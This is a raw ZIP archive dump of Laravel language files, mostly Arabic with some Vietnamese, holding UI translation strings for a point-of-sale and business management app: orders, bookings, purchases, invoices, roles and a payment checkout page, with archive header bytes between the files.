'orders' => 'الطلبات', 'manage_your_orders' => 'إدارة طلباتك', 'all_your_orders' => 'جميع طلباتك', 'mark_as_served' => 'علم بانتهى', 'placed_at' => 'وضعت في', 'order_status' => 'حالة الطلب', 'order_details' => 'تفاصيل الطلب', 'refresh' => 'تحديث', 'no_orders_found' => 'لم يتم العثور على أية طلبات', 'select_service_staff' => 'اختر طاقم الخدمة', 'service_staff' => 'طاقم الخدمة', 'kitchen_for_restaurant' => 'المطبخ (بالنسبة للمطعم)', 'products_for_modifier' => 'منتجات للاضافات', 'is_service_staff' => 'موظفو الخدمة', 'tooltip_tables' => 'تستخدم في الغالب في المطاعم والكافيهات والصالونات الخ', 'tooltip_modifiers' => 'إضافة عناصر إضافية مع المنتج الرئيسي. مثال: Toppings , جبنة', 'tooltip_service_staff' => 'الشخص الذي يقدم الخدمة المعينة للعملاء - مثال: طاقم العاملين في المطاعم , مصففي الشعر في الصالون', 'modules_settings' => 'إعدادات الوحدات', 'bookings' => 'حجوزات', 'add_edit_view_all_booking' => 'إضافة / تعديل / عرض جميع الحجوزات', 'add_edit_view_own_booking' => 'إضافة / تحرير / عرض الحجوزات الخاصة', 'add_booking' => 'إضافة حجز جديد', 'start_time' => 'وقت البدء', 'end_time' => 'وقت الانتهاء', 'booking_not_available' => 'طاولة تم حجزها بالفعل لـ <b>:customer_name</b> بين <b>:booking_time_range</b>', 'select_correspondent' => 'اختر المراسلة', 'send_notification_to_customer' => 'إرسال إخطار عبر البريد الإلكتروني / الرسائل القصيرة إلى العميل', 'booking_details' => 'تفاصيل الحجز', 'correspondent' => 'المراسل', 'booking_starts' => 'يبدأ الحجز', 'booking_ends' => 'ينتهي الحجز', 'cancelled' => 'ألغيت', 'completed' => 'منجز', 'change_booking_status' => 'تغيير حالة الحجز', 'booked' => 'حجز', 'delete_booking' => 'حذف الحجز', 'click_on_any_booking_to_view_or_change_status' => 'انقر على أي حجز لعرض التفاصيل أو تغيير الحالة', 'double_click_on_any_day_to_add_new_booking' => 'انقر مرتين على أي يوم لإضافة حجز جديد', 'todays_bookings' => 'حجوزات اليوم', 'hello_name' => 'مرحبًا :name!', 'booking_confirmed' => 'تم تأكيد حجزك.', 'table_info' => 'طاولة: :table', 'booking_time_info' => 'من :from TO :to', 'new_booking_subject' => 'حجز جديد - :business_name', 'customer_note' => 'ملاحظة العميل', 'table_report' => 'تقرير الطاولة', 'service_staff_report' => 'تقرير موظفي الخدمة', 'service_staff_replacement' => 'استبدال موظفي الخدمة', ]; PK G �Z ��� � ar/purchase.phpnu �[��� <?php return [ 'supplier' => 'المورد', 'ref_no' => 'الرقم المرجعي', 'business_location' => 'الفرع', 'purchases' => 'المشتريات', 'add_payment' => 'إضافة قسط', 'edit_payment' => 'تعديل قسط', 'view_payments' => 'عرض المدفوعات', 'amount_already_paid' => 'المبلغ المسدد بالفعل', 'payment_added_success' => 'تمت إضافة القسط بنجاح', 'payment_updated_success' => 'تم تحديث القسط', 'payment_deleted_success' => 'تم حذف القسط بنجاح', 'amount' => 'القيمة', 'payment_method' => 'طريقة الدفع', 'no_records_found' => 'لا يوجد سجل', 'payment_due' => 'دفع مستحق', 'purchase_total' => 'إجمالي الشراء', 'location' => 'الفرع', 'payment_note' => 'ملاحظة', 'all_purchases' => 'جميع المشتريات', 'purchase_status' => 'حالة الشراء', 'payment_status' => 'حالة الدفع', 'grand_total' => 'المجموع', 'add_purchase' => 'أضف مشتريات', 'purchase_date' => 'تاريخ الشراء', 'purchase_quantity' => 'كمية المشتريات', 'unit_cost_before_tax' => 'تكلفة الوحدة (قبل الضريبة)', 'subtotal_before_tax' => 'الاجمالى قبل الضريبة', 'product_tax' => 'ضريبة الاصناف', 'net_cost' => 'صافي التكلفة', 'line_total' => 'اجمالى الصنف', 'unit_selling_price' => 'سعر البيع للوحدة', 'total_before_tax' => 'الاجمالى قبل الضريبة', 'net_total_amount' => 'الاجمالى', 'discount_type' => 'نوع الخصم', 'discount_amount' => 'قيمة الخصم', 'discount' => 'الخصم', 'edit_purchase' => 'تعديل فاتورة الشراء', 'purchase_tax' => 'ضريبة المشتريات', 'shipping_details' => 'تفاصيل الشحن', 'additional_shipping_charges' => 'تكاليف الشحن الإضافية', 'additional_notes' => 'ملاحظات إضافية', 'purchase_add_success' => 'تمت إضافة الشراء بنجاح', 'purchase_update_success' => 'تم تحديث الشراء بنجاح', 'purchase_details' => 'تفاصيل الشراء', 'unit_cost_after_tax' => 'تكلفة الوحده بعد الضريبة', 'total_after_tax' => 'الاجمالى بعد الضريبة', 'no_payments' => 'لم يتم العثور على اقساط', 'allow_purchase_different_currency' => 'المشتريات بعملة أخرى', 'purchase_currency' => 'عملة الشراء', 'p_exchange_rate' => 'سعر الصرف', 'diff_purchase_currency_help' => 'يتم تعيين عملة الشراء على <strong> :currency </strong>', 'list_purchase' => 'قائمة المشتريات', 'attach_document' => 'إرفاق وثيقة', 'download_document' => 'تحميل الوثيقة', 'max_file_size' => 'الحد الأقصى لحجم الملف : size: ميجا', 'variation_sku_format' => 'تنسيق SKU المتغير', 'variation_sku_format_help_text' => 'تنسيق SKU المتغير - عندما يكون SKU المتغير فارغًا، سيتم استخدام هذا التنسيق لتوليد SKU للمتغيرات.', 'sku_number' => 'SKU-الرقم (مثال -> ABC-1، ABC-2)', 'sku_variation_number' => 'SKUالرقم (مثال -> ABCS، ABCM)' ]; PK G �Zey�7 7 ar/business.phpnu �[��� <?php return [ 'register_and_get_started_in_minutes' => 'سجل وابدأ في دقائق', 'business_name' => 'اسم النشاط', 'start_date' => 'تاريخ البدء', 'currency' => 'العملة', 'currency_placeholder' => 'اختر العملة', 'upload_logo' => 'تحميل الشعار', 'country' => 'البلد', 'state' => 'الولاية', 'city' => 'المدينة', 'zip_code' => 'الرمز البريدي', 'zip_code_placeholder' => 'الرمز البريدي', 'landmark' => 'علامة المكان', 'tax_1_name' => 'الاسم الضريبي 1', 'tax_1_no' => 'الرقم الضريبي 1', 'tax_2_name' => 'الاسم الضريبي 2', 'tax_2_no' => 'الرقم الضريبي 2', 'tax_1_placeholder' => 'ضريبة السلع والخدمات / ضريبة القيمة المضافة / غير ذلك', 'prefix' => 'اللقب', 'prefix_placeholder' => 'السيد السيدة الآنسة', 'first_name' => 'الاسم', 'last_name' => 'اسم العائلة', 'username' => 'إسم المستخدم', 'email' => 'البريد الإلكتروني', 'password' => 'كلمة السر', 'confirm_password' => 'تأكيد كلمة السر', 'register' => 'تسجيل', 'business' => 'النشاط', 'address' => 'العنوان', 'logo_help' => 'سيتم استبدال الشعار السابق (إن وجد)', 'update_settings' => 'تحديث الإعدادات', 'business_settings' => 'إعدادات الشركة', 'settings_updated_success' => 'تم تحديث الإعدادات بنجاح', 'default_profit_percent' => 'نسبة الربح الافتراضي', 'default_sales_tax' => 'ضريبة المبيعات الافتراضية', 'default_sales_discount' => 'الخصم على البيع الافتراضي', 'business_details' => 'تفاصيل عن الشركة', 'tax' => 'الضريبة', 'tax_details' => 'تفاصيل الضريبة', 'owner' => 'المالك', 'owner_info' => 'معلومات عن المالك', 'sale' => 'البيع', 'sell_price_tax' => 'سعر البيع', 'product' => 'المنتج', 'sku_prefix' => 'اختصار الكود التخزيني', 'language' => 'اللغة', 'time_zone' => 'المنطقة الزمنية', 'months' => [ 1 => 'يناير', 2 => 'فبراير', 3 => 'مارس', 4 => 'أبريل', 5 => 'مايو', 6 => 'يونيو', 7 => 'يوليو', 8 => 'أغسطس', 9 => 'سبتمبر', 10 => 'أكتوبر', 11 => 'نوفمبر', 12 => 'ديسمبر', ], 'fy_start_month' => 'تاريخ بداية السنة المالية', 'accounting_method' => 'طريقة المحاسبة', 'fifo' => '(أول ذخول، أول خروج) FIFO', 'lifo' => '(أخر ذخول، أول خروج) LIFO', 'business_locations' => 'فروع النشاط', 'business_location' => 'موقع النشاط', 'manage_your_business_locations' => 'ادارة فروع النشاط الخاص بك', 'all_your_business_locations' => 'جميع فروع نشاطك', 'add_business_location' => 'اضافة فرع جديد', 'business_location_added_success' => 'تمت إضافة الفرع', 'edit_business_location' => 'تغيير الموقع التجاري للشركة', 'business_location_updated_success' => 'تم تحديث موقع النشاط التجاري للشركة بنجاح', 'location' => 'الفرع', 'already_registered' => 'مسجل بالفعل؟', 'sign_in' => 'تسجيل الدخول', 'not_yet_registered' => 'لم تسجل بعد؟', 'register_now' => 'سجل الآن', 'system' => 'النظام', 'show_help_text' => 'عرض نص المساعدة', 'mobile' => 'الموبايل', 'alternate_number' => 'رقم موبايل بديل', 'email' => 'البريد الإلكتروني', 'settings' => 'إعدادات', 'transaction_edit_days' => 'تغيير أيام المعاملة', 'dashboard' => 'الرئيسية', 'view_stock_expiry_alert_for' => 'إظهار تنبيه من المخزون لـ', 'days' => 'أيام', 'system_settings' => 'إعدادات النظام', 'add_keyboard_shortcuts' => 'إضافة اختصارات لوحة المفاتيح', 'operations' => 'العمليات', 'keyboard_shortcut' => 'اختصار لوحة المفاتيح', 'business_created_succesfully' => 'تم إنشاء النشاط بنجاح!', 'tax_number1' => 'رقم الضريبة 1', 'tax_number2' => 'رقم الضريبة 2', 'is_active' => 'نشيط', 'created_by' => 'انشأ من قبل', ]; PK G �Z˰*K? ? ar/cash_register.phpnu �[��� <?php return [ 'cash_register' => 'وردية', 'manage_your_cash_register' => 'ادارة الودريات', 'all_your_cash_register' => 'كل الورديات', 'cash_in_hand' => 'النقدية فى الدرج', 'open_cash_register' => 'بدء وردية جديدة', 'enter_amount' => 'أدخل المبلغ', 'open_register' => 'بدء وردية جديدة', 'register_details' => 'تفاصيل الوردية', 'cash_payment' => 'الدفع نقدا', 'checque_payment' => 'الدفع بالشيك', 'card_payment' => 'الدفع عن طريق البطاقة', 'bank_transfer' => 'تحويل بنكى', 'other_payments' => 'مدفوعات الأخرى', 'total_sales' => 'اجمالي المبيعات', 'total_cash' => 'مجموع النقد', 'current_register' => 'الوردية الحالية', 'close_register' => 'انهاء الوردية', 'total_card_slips' => 'العدد الإجمالي للبطاقات', 'total_cheques' => 'مجموع الشيكات', 'closing_note' => 'ملاحظة ختامية', 'close_success' => 'تم انهاء الوردية', 'open' => 'فتح', 'close' => 'غلق', 'total_refund' => 'المجموع المسدد', 'refunds' => 'المبالغ المستردة', ]; PK G �Z�SN N ar/myfatoorah.phpnu �[��� <?php return [ 'pageCheckout' => 'ماي فاتورة - الدفع', 'pageError' => 'خطأ ماي فاتورة', 'noPaymentGateways' => 'عذرا: لا توجد أي بوابات دفع في حسابك. تواصل مع مدير الحساب الخاص بك', 'howWouldYouLikeToPay' => 'كيف تريد أن تدفع؟', 'or' => 'أو', 'payWith' => 'ادفع بواسطة', 'insertCardDetails' => 'ادخل بيانات البطاقة', 'payNow' => 'ادفع الآن', 'holderName' => 'اسم حامل البطاقة', 'cardNumber' => 'رقم البطاقة', 'expiryDate' => 'شهر/سنة', 'securityCode' => 'الرمز السري', 'cardHolderNameLabel' => 'اسم حامل البطاقة', 'cardNumberLabel' => 'رقم البطاقة', 'expiryDateLabel' => 'تاريخ الإنتهاء', 'securityCodeLabel' => 'الرمز السري', 'saveCard' => 'حفظ بيانات البطاقة للاستخدام المستقبلي', 'addCard' => 'إضافة رقم بطاقة', 'deleteAlert.title' => 'حذف البطاقة', 'deleteAlert.message' => 'هل أنت متأكد من حذف البطاقة؟', 'deleteAlert.confirm' => 'موافق', 'deleteAlert.cancel' => 'غير موافق', 'Kindly review your MyFatoorah admin configuration due to a wrong entry.' => 'نرجو مراجعة إعدادت ماي فاتورة نتيجة لوجود خطأ بها.', ]; PK G �ZA���& �& ar/tooltip.phpnu �[��� <?php return [ 'product_stock_alert' => "منتجات منخفضة المخزون. <br/> <small class = 'text-muted'> استنادًا إلى كمية تنبيه المنتج المحددة في شاشة إضافة المنتج. <br> اشتر هذا المنتج قبل نهاية المخزون. </small>", 'payment_dues' => "دفعة مشتريات معلقة. <br/> <small class = 'text-muted'> استنادًا إلى حد دفع المورد. <br/> عرض الدفعات المدفوعة خلال 7 أيام أو أقل. </small>", 'input_tax' => 'مجموع الضرائب المحصلة للمبيعات في الفترة المحددة.', 'output_tax' => 'مجموع الضرائب المدفوعة للمشتريات للفترة المحددة.', 'tax_overall' => 'الفرق بين إجمالي الضرائب المحصلة وإجمالي الضرائب المدفوعة خلال الفترة المختارة.', 'purchase_due' => 'المبلغ الإجمالي غير المسدد للمشتريات.', 'sell_due' => 'المبلغ الإجمالي لتلقي المبيعات', 'over_all_sell_purchase' => '- القيمة = المبلغ الواجب دفعه <br> + القيمة = المبلغ الواجب استلامه', 'no_of_products_for_trending_products' => 'عدد المنتجات الشائعة للمقارنة في الجدول أدناه.', 'top_trending_products' => "أفضل المنتجات مبيعا لمتجرك. <br/> <small class = 'text-muted'> طبق التصفيات لإيجاد المنتجات الشائعة لفئة محددة ، والعلامة التجارية ، ومكان العمل ، إلخ. </small>", 'sku' => "معرف المنتج الفريد أو وحدة إدارة المخزون <br> <br>يبقيه فارغة لتوليد sku تلقائيا. <br> <small class = 'text-muted'> يمكنك تغيير بادئة sku في الإعدادات التجارية </small>", 'enable_stock' => 'تفعيل أو تعطيل إدارة المخزون لمنتج ما.', 'alert_quantity' => "يتم تنبيهك عند وصول مخزون المنتجات أو انخفاضه إلى أقل من الكمية المحددة. <br> <br> <small class = 'text-muted'> سيتم عرض المنتجات ذات المخزون المنخفض في لوحة المعلومات - قسم تنبيه مخزون المنتجات. </small>", 'product_type' => '<b> منتج واحد </b>: المنتج بدون تبيانات <br> <b> المنتج المتباين </b>: المنتج ذو الاختلافات مثل الحجم واللون وما إلى ذلك', 'profit_percent' => "هامش الربح الافتراضي للمنتج. <br> <small class = 'text-muted'> (<i> يمكنك إدارة الهامش الافتراضي في إعدادات المؤسسة. </small>", 'pay_term' => "المدفوعات التي يتعين دفعها مقابل المشتريات في الفترة الزمنية المحددة. <br/> <small class = 'text-muted'> سيتم عرض جميع الدفعات المعلقة والحالية في الرئيسية - القسم المستحق للدفع </small>", 'order_status' => 'ستكون المنتجات المتوفرة في عملية الشراء هذه متاحة للبيع فقط إذا كانت <b> حالة الطلب </b> هي <b> العناصر مستلمة </b>.', 'purchase_location' => 'الفرع الذى سيكون المنتج المشترى متاحًا للبيع.', 'sale_location' => 'الفرع الذي تريد البيع منه', 'sale_discount' => 'قم بتعيين الخصم على البيع الافتراضي لجميع المبيعات في إعدادات الشركة .اضغط على أيقونة التعديل أدناه لإضافة / تحديث الخصم.', 'sale_tax' => 'عيّن ضريبة المبيعات الافتراضية لجميع المبيعات في إعدادات الشركة ، انقر على رمز التعديل أدناه لإضافة / تحديث ضريبة الطلبات. ', 'default_profit_percent' => "هامش الربح الافتراضي للمنتج. <br> <small class = 'text-muted'> يستخدم لحساب سعر البيع بناءً على سعر الشراء الذي تم إدخاله. <br/> يمكنك تغيير هذه القيمة للمنتجات الفردية عن طريق الإضافة </small>", 'fy_start_month' => 'بداية السنة المالية لعملك', 'business_tax' => 'الرقم الضريبي المسجل لنشاطك التجاري.', 'invoice_scheme' => "يشير نموذج الفاتورة إلى نسق ترقيم الفاتورة. حدد النموذج المراد استخدامه لهذا الفرع <small class = 'text-muted'> <i> يمكنك إضافة نموذج فاتورة جديد </b> في إعدادات الفاتورة </i> </small>", 'invoice_layout' => "تصميم الفاتورة لاستخدامه في هذه الخاصية <br> <small class = 'text-muted'> (<i> يمكنك إضافة تصميم <> فاتورة جديد <b/> في <b> إعدادات لـ الفاتورة <b> </i>) </small>", 'invoice_scheme_name' => 'امنح نموذج الفاتورة اسمًا قصيرًا وذو معنى.', 'invoice_scheme_prefix' => 'البادئة لمخطط الفاتورة. <br> البادئة يمكن أن تكون نصًا مخصصًا أو عامًا حاليًا. على سبيل المثال: # XXXX0001 ، # 2018-0002', 'invoice_scheme_start_number' => "رقم البداية لترقيم الفاتورة. <small/> يمكنك إنشاء رقم واحد أو أي رقم آخر يبدأ منه الترقيم. <br><small class = 'text-muted'> ", 'invoice_scheme_count' => 'إجمالي عدد الفواتير التي تم إنشاؤها لنموذج الفاتورة', 'invoice_scheme_total_digits' => 'طول رقم الفاتورة باستثناء بادئة الفاتورة', 'tax_groups' => 'مجموعة معدل ضريبة - المحدد أعلاه ، لاستخدامه في تركيبة في أقسام المبيعات / المشتريات.', 'unit_allow_decimal' => 'الأرقام العشرية تسمح لك ببيع المنتجات ذات الصلة في الكسور.', 'print_label' => 'إضافة منتجات -> اختر المعلومات التي تريد عرضها في الملصقات -> حدد إعداد الباركود -> معاينة الملصقات -> طباعة', 'expense_for' => 'اختر المستخدم الذي تتعلق به المصاريف.<I> (اختياري) </i> <br/> <small> مثال: راتب الموظف. </small>', 'all_location_permission' => 'إذا تم تحديد <b> جميع الفروع </b> ، فسيكون لهذه الصلاحية إذن للوصول إلى جميع الفروع العمل', 'dashboard_permission' => 'إذا لم يتم تحديده ، فسيتم عرض رسالة الترحيب فقط في الصفحة الرئيسية.', 'access_locations_permission' => 'اختر جميع الفروع التي يمكن لهذه الصلاحية الوصول إليها. سيتم عرض جميع البيانات في الفرع المحدد للمستخدم فقط. <br/> <br/> <small> على سبيل المثال: يمكنك استخدام هذا لتعيين مدير المتجر / أمين الصندوق / مدير المخزون / مدير الفرع ، </i> إلى فرع معين. </small>', 'print_receipt_on_invoice' => 'تفعيل أو تعطيل الطباعة التلقائية للفاتورة أثناء انهاء الفاتورة', 'receipt_printer_type' => '<i> الطباعة المستندة إلى المتصفح</i>: عرض مربع حوار الطباعة في المتصفح الذي يحتوي على معاينة للفواتير <br/> <br/> <i> استخدم اعدادات طابعة الإيصال</i >: حدد إيصال / طابعة حرارية تم تكوينها للطباعة', 'adjustment_type' => '<I> عادي </i>: التعديل لأسباب طبيعية مثل التسريب ، التلف ، إلخ <br/> <br/> <i> غير طبيعي </i>: التعديل لأسباب مثل الحريق والحوادث ، وما إلى ذلك', 'total_amount_recovered' => 'المبلغ المسترد من التأمين أو بيع التلفيات أو غيرها', 'express_checkout' => 'حدد الدفع السريع', 'total_card_slips' => 'العدد الإجمالي لمدفوعات البطاقات المستخدمة في هذه المناوبة', 'total_cheques' => 'مجموع عدد الشيكات المستخدمة في هذه المناوبة', 'capability_profile' => 'يختلف دعم الأوامر وصفحات التعليمات البرمجية بين موردي الطابعات والنماذج ، وإذا لم تكن متأكدًا ، فمن الأفضل استخدام ملف التعريفات البسيطة.', 'purchase_different_currency' => 'حدد هذا الخيار إذا كنت تشتري بعملة مختلفة عن العملة التجارية الخاصة بك', 'currency_exchange_factor' => "1 عملة الشراء =؟ العملة الأساسية <br> <small class = 'text-muted'> يمكنك تفعيل / تعطيل \"الشراء بعملة أخرى\" في إعدادات المؤسسة. </small>", 'accounting_method' => 'طريقة المحاسبة', 'transaction_edit_days' => 'عدد الأيام من تاريخ المعاملة حتى لا يمكن تغيير المعاملة.', 'stock_expiry_alert' => "قائمة المخزونات التي تنتهي صلاحيتها في days: يوم(أيام) <small class = 'text-muted'> يمكنك تعيين عدد الأيام في إعدادات المؤسسة </small>", ]; PK G �Z�X9 ar/role.phpnu �[��� <?php return [ 'add_role' => 'إضافة صلاحيات', 'edit_role' => 'تعديل الصلاحية', 'user' => 'المستخدم', 'supplier' => 'المورد', 'customer' => 'العميل', 'purchase' => 'المشتريات والمخزون التالف', 'report' => 'تقرير', 'user.view' => 'عرض المستخدم', 'user.create' => 'إضافة مستخدم', 'user.update' => 'تعديل المستخدم', 'user.delete' => 'حذف المستخدم', 'supplier.view' => 'عرض المورد', 'supplier.create' => 'إضافة مورد', 'supplier.update' => 'تعديل المورد', 'supplier.delete' => 'حذف المورد', 'customer.view' => 'عرض العميل', 'customer.create' => 'أضف عميل', 'customer.update' => 'تعديل العميل', 'customer.delete' => 'حذف العميل', 'product.view' => 'عرض المنتج', 'product.create' => 'أضف منتج', 'product.update' => 'تعديل المنتج', 'product.delete' => 'حذف المنتج', 'purchase.view' => 'عرض المشتريات والمخزون التالف', 'purchase.create' => 'أضف عملية شراء وتعديل المخزونات', 'purchase.update' => 'تعديل المشتريات والمخزون التالف', 'purchase.delete' => 'حذف المشتريات والمخزون التالف', 'sell.view' => 'عرض مبيعات نقطة البيع', 'sell.create' => 'إضافة مبيعات نقطة البيع', 'sell.update' => 'تعديل مبيعات نقطة البيع', 'sell.delete' => 'حذف مبيعات نقطة البيع', 'purchase_n_sell_report.view' => 'عرض تقرير المشتريات والمبيعات', 'contacts_report.view' => 'عرض تقرير الموردين والعملاء', 'stock_report.view' => 'عرض تقرير المخزون وتقرير المخزون التالف وتقرير انتهاء المخزون', 'tax_report.view' => 'عرض التقرير الضريبي', 'trending_product_report.view' => 'تقرير عرض المنتجات الشائعه', 'register_report.view' => 'عرض تقرير أمين الخزنة', 'sales_representative.view' => 'عرض تقرير مندوب المبيعات', 'expense_report.view' => 'عرض تقرير المصاريف', 'business_settings.access' => 'الوصول إلى إعدادات العمل', 'barcode_settings.access' => 'الوصول إلى إعدادات الباركود', 'invoice_settings.access' => 'الوصول إلى إعدادات الفواتير', 'brand.view' => 'عرض العلامة التجارية', 'brand.create' => 'أضف علامة تجارية', 'brand.update' => 'تعديل العلامة التجارية', 'brand.delete' => 'حذف العلامة التجارية', 'tax_rate.view' => 'عرض معدل الضريبة', 'tax_rate.create' => 'أضف معدل الضريبة', 'tax_rate.update' => 'تعديل معدل الضريبة', 'tax_rate.delete' => 'حذف معدل الضريبة', 'unit.view' => 'عرض الوحدة', 'unit.create' => 'إضافة وحدة', 'unit.update' => 'تعديل الوحدة', 'unit.delete' => 'حذف الوحدة', 'category.view' => 'عرض الأصناف', 'category.create' => 'إضافة صنف', 'category.update' => 'تعديل الصنف', 'category.delete' => 'حذف الصنف', 'select_all' => 'اختر الكل', 'settings' => 'إعدادات', 'brand' => 'العلامة التجارية', 'tax_rate' => 'معدل الضريبة', 'unit' => 'الوحدة', 'access_locations' => 'عرض الفروع', 'all_locations' => 'كل الفروع', 'dashboard' => 'الرئيسية', 'dashboard.data' => 'عرض بيانات الرئيسية', 'profit_loss_report.view' => 'عرض تقرير الربح / الخسارة', 'direct_sell.access' => 'الوصول إلى البيع', ]; PK G �Z l�ï � ar/product.phpnu �[��� <?php return [ 'exc_of_tax' => 'غير شامل. الضريبة', 'inc_of_tax' => 'شامل. الضريبة', 'profit_percent' => 'x الهامش (٪)', 'add_new_product' => 'منتج جديد', 'add_product_for_labels' => 'إضافة منتجات لتوليد الملصقات', 'product_type' => 'نوع المنتج', 'category' => 'الصنف', 'sub_category' => 'الصنف الفرعي', 'unit' => 'الوحدة', 'brand' => 'العلامة التجارية', 'tax' => 'الضريبية', 'sku' => 'SKU', 'alert_quantity' => 'تنبيه الكمية', 'product_name' => 'اسم المنتج (التعيين)', 'auto_generate' => 'توليد تلقائي', 'manage_stock' => 'إدارة المخزون؟', 'enable_stock_help' => 'تفعيل إدارة المخزون على مستوى المنتج', 'barcode_type' => 'نوع الباركود', 'applicable_tax' => 'الضريبة المطبقة', 'selling_price_tax_type' => 'نوع ضريبة المبيعات', 'inclusive' => 'بما فيه', 'exclusive' => 'باستثناء', 'edit_product' => 'تعديل المنتج', 'default_purchase_price' => 'سعر الشراء الافتراضي', 'default_selling_price' => 'سعر البيع الافتراضي', 'value' => 'القيمة', 'variation_name' => 'اسم التباين', 'variation_values' => 'قيم التباين', 'use_template' => 'استخدام النموذج', 'add_variation' => 'إضافة تباين', 'product_added_success' => 'تم إضافة المنتج بنجاح', 'product_updated_success' => 'تم تحديث المنتج بنجاح', 'enable_product_expiry' => 'تفعيل انتهاء صلاحية المنتج', 'expiry_period' => 'فترة انتهاء الصلاحية', 'expires_in' => 'تنتهي في', 'not_applicable' => 'غير مطبقة', 'months' => 'الأشهر', 'days' => 'الأيام', 'mfg_date' => 'تاريخ الصنع', 'exp_date' => 'تاريخ انتهاء الصلاحية', 'view_product' => 'عرض المنتج', 'add_product' => 'أضف منتجًا', 'variations' => 'التباينات', 'import_products' => 'استيراد المنتجات', 'file_to_import' => 'ملف للاستيراد', 'file_imported_successfully' => 'تم استيراد الملف بنجاح', ]; PK G �ZN��, , ar/invoice.phpnu �[��� <?php return [ 'invoice_settings' => 'اعدادات الفواتير', 'manage_your_invoices' => 'ادارة الفواتير', 'all_your_invoice_schemes' => 'جميع نماذج الفواتير', 'added_success' => 'تم اضافة النموذج بنجاح', 'updated_success' => 'تم تحديث النموذج بنجاح', 'deleted_success' => 'تم حذف النموذج بنجاح', 'add_invoice' => 'اضافة نموذج جديد', 'edit_invoice' => 'تعديل نموذج', 'name' => 'الإسم', 'prefix' => 'الاختصار', 'start_number' => 'تبدأ من', 'total_digits' => 'عدد الارقام', 'preview' => 'عرض', 'not_selected' => 'غير محددة', 'invoice_count' => 'عدد الفواتير', 'invoice_schemes' => 'تصميم الفواتير', 'invoice_layouts' => 'تصميمات الفواتير', 'invoice_layout' => 'تصميم الفاتورة', 'all_your_invoice_layouts' => 'جميع تصميمات الفواتير', 'add_invoice_layout' => 'أضف تصميم فاتورة جديد', 'layout_name' => 'اسم التصميم', 'invoice_scheme' => 'تصميم الفاتورة', 'header_text' => 'عنوان الصفحة', 'invoice_no_prefix' => 'رقم الفاتورة', 'invoice_heading' => 'عنوان الفاتورة', 'sub_total_label' => 'تسمية المجموع الفرعي', 'discount_label' => 'تسمية الخصم', 'tax_label' => 'تسمية الضريبة', 'total_label' => 'تسمية المجموع', 'fields_to_be_shown_in_address' => 'الحقول التي سيتم عرضها في العنوان', 'highlight_color' => 'لون تسليط الضوء', 'footer_text' => 'نهاية الفاتورة', 'layout_added_success' => 'تمت إضافة تصميم الفاتورة بنجاح', 'edit_invoice_layout' => 'تعديل تصميم الفاتورة', 'layout_updated_success' => 'تم تحديث تصميم الفاتورة بنجاح', 'used_in_locations' => 'المستخدمة في الأماكن', 'show_business_name' => 'عرض اسم النشاط', 'show_location_name' => 'عرض اسم المكان', 'show_mobile_number' => 'رقم الموبايل', 'show_alternate_number' => 'رقم آخر', 'show_email' => 'البريد الإلكتروني', 'show_tax_1' => 'تفاصيل الضريبة 1', 'show_tax_2' => 'تفاصيل الضريبة 2', 'fields_to_shown_for_communication' => 'الحقول الخاصة بتفاصيل الاتصال', 'fields_to_shown_for_tax' => 'الحقول الخاصة بتفاصيل الضرائب', 'invoice_logo' => 'شعار الفاتورة', 'show_logo' => 'عرض شعار الفاتورة', 'show_barcode' => 'عرض الباركود', 'total_due_label' => 'تسمية المجموع الغير مسدد', 'invoice_heading_not_paid' => 'عنوان فاتورة غير مدفوعة', 'invoice_heading_paid' => 'عنوان فاتورة مدفوعة', 'show_payments' => 'عرض معلومات الدفع', 'show_customer' => 'عرض معلومات العميل', 'paid_label' => 'تسمية قيمة المبلغ المدفوع', 'customer_label' => 'تسمية العميل', ]; PK G �Z�7� � vi/expense.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Expense Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Expense CRUD operations. | */ 'expenses' => 'Chi phí', 'expense_categories' => 'Danh mục chi phí', 'manage_your_expense_categories' => 'Quản lý danh mục chi phí', 'all_your_expense_categories' => 'Tất cả các loại chi phí', 'expense_category' => 'Danh mục chi phí', 'category_name' => 'Tên danh mục', 'category_code' => 'Mã danh mục', 'added_success' => 'Danh mục chi phí được thêm thành công', 'updated_success' => 'Danh mục chi phí được cập nhật thành công', 'deleted_success' => 'Loại chi phí đã xóa thành công', 'add_expense_category' => 'Thêm danh mục chi phí', 'edit_expense_category' => 'Sửa danh mục chi phí', 'all_expenses' => 'Tất cả chi phí', 'expense_status' => 'Tình trạng chi phí', 'add_expense' => 'Thêm chi phí', 'edit_expense' => 'Sửa chi phí', 'expense_note' => 'Ghi chú chi phí', 'expense_add_success' => 'Chi phí được thêm thành công', 'expense_update_success' => 'Chi phí cập nhật thành công', 'expense_delete_success' => 'Chi phí đã xóa thành công', 'expense_for' => 'Chi phí cho', ]; PK G �Z�=� � � vi/messages.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Common Language Lines |-------------------------------------------------------------------------- | | The following language lines are used during common CRUD operations. | */ 'add' => 'Thêm', 'edit' => 'Sửa', 'save' => 'Lưu', 'update' => 'Cập nhật', 'action' => 'Hoạt động', 'actions' => 'Hoạt động', 'view' => 'Lượt xem', 'delete' => 'Xóa', 'close' => 'Đóng', 'something_went_wrong' => 'Đã xảy ra lỗi, vui lòng thử lại sau', 'required' => 'Lĩnh vực này là bắt buộc', 'please_select' => 'Lựa chọn', 'cancel' => 'Hủy bỏ', 'date' => 'Ngày', 'filter_by_date' => 'Lọc theo ngày', 'location' => 'Vị trí', 'go_back' => 'Quay lại', 'due_tooltip' => 'Giá trị âm = Số tiền phải trả <br> Giá trị dương = Số tiền sẽ nhận', 'purchase_due_tooltip' => 'Giá trị âm = Số tiền nhận về <br> Giá trị dương = Số tiền phải trả', 'yes' => 'Vâng', 'no' => 'Không', 'all' => 'Tất cả các', 'settings' => 'Cài đặt', 'business_location_settings' => 'Cài đặt vị trí doanh nghiệp', 'print' => 'In', 'submit' => 'Tải lên', 'purchase_sell_mismatch_exception' => 'ERROR: NOT ALLOWED:Sự không phù hợp giữa số lượng bán và số lượng mua. Sản phẩm: :product', 'purchase_stock_adjustment_mismatch_exception' => 'ERROR: NOT ALLOWED: Sự không phù hợp giữa điều chỉnh cổ phiếu và số lượng mua. Sản phẩm: :product', 'transaction_edit_not_allowed' => 'Chỉnh sửa giao dịch không được phép sau :days ngày.', 'name' => 'Tên', 'price' => 'Giá', 'activate' => 'Kích hoạt', 'deactivate' => 'hủy kích hoạt', ]; PK G �Z vi/index.phpnu �[��� PK G �Z~�N� � vi/stock_adjustment.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Stock Adjustment Language Lines |-------------------------------------------------------------------------- | 